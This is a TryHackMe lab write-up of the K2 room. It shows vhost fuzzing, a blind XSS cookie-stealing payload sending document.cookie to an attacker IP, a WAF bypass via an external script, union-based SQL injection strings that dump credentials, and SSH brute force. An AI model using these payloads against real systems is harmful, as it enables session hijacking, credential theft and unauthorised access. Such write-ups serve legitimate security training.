K2 part 1
This is part one of the K2 challenge on TryHackMe, where we began our journey at Base Camp, targeting a web application. Through fuzzing, we discovered several virtual hosts and exploited an XSS vulnerability in one of them, allowing us to steal a cookie and access another host. We then leveraged a SQL injection vulnerability to extract credentials from the database, using one of these credentials to gain an SSH shell. While navigating as this user, we found a password in one of the web server logs, which ultimately enabled us to obtain root access.
Nmap
let’s start with nmap scan.
We see there are two ports are open.
Port 80
It looks like a static website.
Ffuf
In these cases I always like to fuzz for vhosts.
it looks there is admin and it subdomains.
I tried to enumerate the directories but i did not find any thing.
add admin.k2.thm and it.k2.thm in /etc/hosts
admin.k2.thm
I started by looking for quick wins, testing common usernames and passwords on this page, and attempting basic SQL injection techniques, but none of them were successful.
it.k2.thm
It appears there’s a ticketing system in place. My first thought is that we might be able to create a ticket and have it reviewed by an admin. So, I decided to sign up.
It looks like my guess was correct!
To get a better idea of how the system functions, I submitted a test ticket.
In cases like this, where someone is reviewing the ticket, I like to test for XSS vulnerabilities, which could potentially allow session hijacking of the reviewer.
Blind XSS
A Blind XSS vulnerability is triggered on a page that we don’t have access to. These vulnerabilities often appear in forms that are only visible to specific users, like Admins. In this situation, we won’t be able to see how our input is processed or displayed in the browser, as it will only appear for the Admin on an exclusive Admin Panel that we can’t access.
With standard (non-blind) XSS, we can test each field until we get an alert
box. But here, due to our lack of access to the Admin panel, we’ll need to rely on other methods to confirm if the exploit is successful.
However, there is an issue:
How can we know which specific field is vulnerable?
Since any of the fields may execute our code, we can’t know which of them did.
I use these payloads to know which one is vulnerable.
<script src="http://10.11.111.97/title"></script> |
and i opened a simple webserver in my machine
python -m 'http.server' 80 |
seems like the description field is vulnerable.
Session hijacking
There are multiple JavaScript payloads that can be used to grab the session cookie, as shown by PayloadsAllTheThings:
i use this payload in the descriptions field
<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script> |
but seems like there a WAF in place.
Bypassing WAF
to bypass this i create 2 files index.php
and script.js
script.js
contains our payload that will callback to my webserver
new Image().src='http://10.11.111.97/index.php?c='+document.cookie |
index.php
this code will receive the callback from the JS file and save the cookie in a text file
|
I will start a PHP webserver
mkdir /tmp/tmpserver |
so know the Payload is only make a request to the JS file
<script src="http://10.11.111.97/script.js"></script> |
And I get the cookie!
![[Pasted image 20241029190958.png]]
back again to admin.k2.thm
i add the cookie
back again to admin.k2.thm
i add the cookie.
Accessing admin.k2.thm
With access to admin.k2.thm, we can now examine the functionality of this panel.
It looks like we can filter the tickets based on the titles.
also it looks it search based on the title column.
With access to admin.k2.thm
, we can now explore the features of this panel.
It appears that tickets can be filtered by title, and the search seems to operate based on the title column.
Since tickets are likely fetched from a database, I’ll check for SQL injection by entering a single quote ('
). This causes an error, which indicates the presence of an SQL injection vulnerability.
My assumption is that the panel might be using a query like:
SELECT * FROM <table name> WHERE title = 'user_input' |
To extract data from the database, using union-based SQL injection is ideal.
Union-Based SQL Injection
The UNION clause allows combining results from multiple SELECT statements. For example, we can structure the query like this:
SELECT * FROM <table_name> WHERE title = '' UNION SELECT id, username, password FROM users-- ' |
The number of columns in each SELECT
statement must match.
However, this introduces some issues:
- how many columns in the previous
SELECT
statement ? - how to know what is the databases there are ?
- how to know what is the tables in each databases ?
- how to know what is the columns in each specific table ?
Database Enumeration
to get number of columns, just add a number until it works
' UNION select 1,2,3 -- - |
information_schem
, performance_schema
are default databases.
to get the current data base
' UNION select 1,database(),2 -- - |
to get the tables in a specific database
' UNION select 1,TABLE_NAME,3 from INFORMATION_SCHEMA.TABLES where table_schema='ticketsite'-- - |
to get data of a specific table
' UNION select email, admin_username, admin_password from admin_auth-- - |
and i got some usernames and passwords.
Foothold
I saved these username in user.txt and the passwords in passwords.txt. the I tried to brute force SSH and I got lucky.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-29 12:49:31 |
and i got the user.txt
there is another user called rose
Beyond the root
After all this, if we look at the room questions there is a missing passwords which is rose password.
I checked the bash history of rose and I found it.
cat /home/rose/.bash_history |
Finding the full names
cat /etc/passwd | grep -i rose |
cat /etc/passwd | grep -i james |
see you in the next part :)